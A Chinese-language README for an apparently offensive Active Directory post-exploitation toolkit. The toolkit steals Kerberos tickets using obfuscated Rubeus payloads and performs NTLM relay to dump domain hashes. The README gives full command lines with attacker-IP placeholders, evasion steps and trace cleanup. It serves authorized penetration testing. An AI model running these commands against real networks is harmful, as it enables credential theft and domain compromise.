本仓库包含一组 Python 编排脚本,专为 Active Directory 环境中的安全评估和渗透测试而设计。这些工具特别针对后渗透场景,在此场景中,攻击者已在被入侵的工作站或服务器上获得本地管理员访问权限,目标是在更广泛的 Active Directory 域内执行横向移动或权限提升。
通过自动化涉及常见安全工具(如 NetExec、Impacket、Donut 和 BloodyAD)的工作流程,这些脚本将复杂的多步骤流程简化为可重复的单命令操作。
这些脚本要求主机系统上安装以下工具,并且这些工具位于系统的 PATH 中:
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk、base64为增强控制台输出格式,请安装以下包:
pip install colorama rich
harpyTGT.py)此脚本自动从已登录的 Windows 会话中提取 Kerberos 票据授予票据(TGT),并将其转换为 Linux 兼容的 ccache 格式。
Rubeus.exe Shellcode 有效载荷,使用 Myph 进行混淆,并通过计划任务(schtask_as)或 mmcexec 在目标主机上执行生成的二进制文件。标准执行(目标用户具有管理员权限):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>
替代执行(目标用户缺少管理员权限):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

harpyRelay.py)此脚本协调针对域控制器上配置错误的 SMB 或 LDAP 签名策略的 NTLM 中继攻击,以实现域范围内的权限提升或执行 NTDS 数据库转储(DCSync)。
ntlmrelayx 监听器,通过 NetExec 触发来自受感染客户端的身份验证请求,监控输出以确认成功利用,并转储域哈希。该工具包含自动清理例程,以最小化在目标域中的痕迹。LDAPS 流程(标准):
./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>
LDAP 流程(当 LDAPS 不可用时的替代流程):
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGT一个自定义模块,用于 NetExec(nxc),旨在从目标机器上特定已登录用户中提取 Kerberos 票据授予票据(TGT)。
该模块通过 mmcexec 以 SYSTEM 身份交互,自动生成规避性有效载荷(使用 Donut 和 Myph 封装 Rubeus),在内存中执行,捕获 Base64 格式的票据输出,并透明地将其转换为可在 Linux 中直接使用的 .ccache 文件。
该模块会自动验证以下工具是否已安装并在您的 $PATH 中可用:
donutmyphimpacket-ticketConverter要将外部模块加载到 NetExec 中,请将 stealTGT.py 脚本复制到您的本地 NetExec 模块目录:
cp stealTGT.py ~/.nxc/modules/
netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe
模块选项(-o):
USER:您希望从中提取 TGT 的当前登录会话的用户名(例如 jdoe)。RUBEUS:攻击机上的本地路径,其中包含合法的 Rubeus.exe 二进制文件。

bloodyad 或 netexec 进行删除。重要声明: 本仓库严格用于授权的安全审计、漏洞研究和教育目的。未经系统所有者事先明确书面授权,严禁在生产基础设施上运行这些工具。作者不对因使用本软件造成的误用、附带损害或法律后果承担任何责任。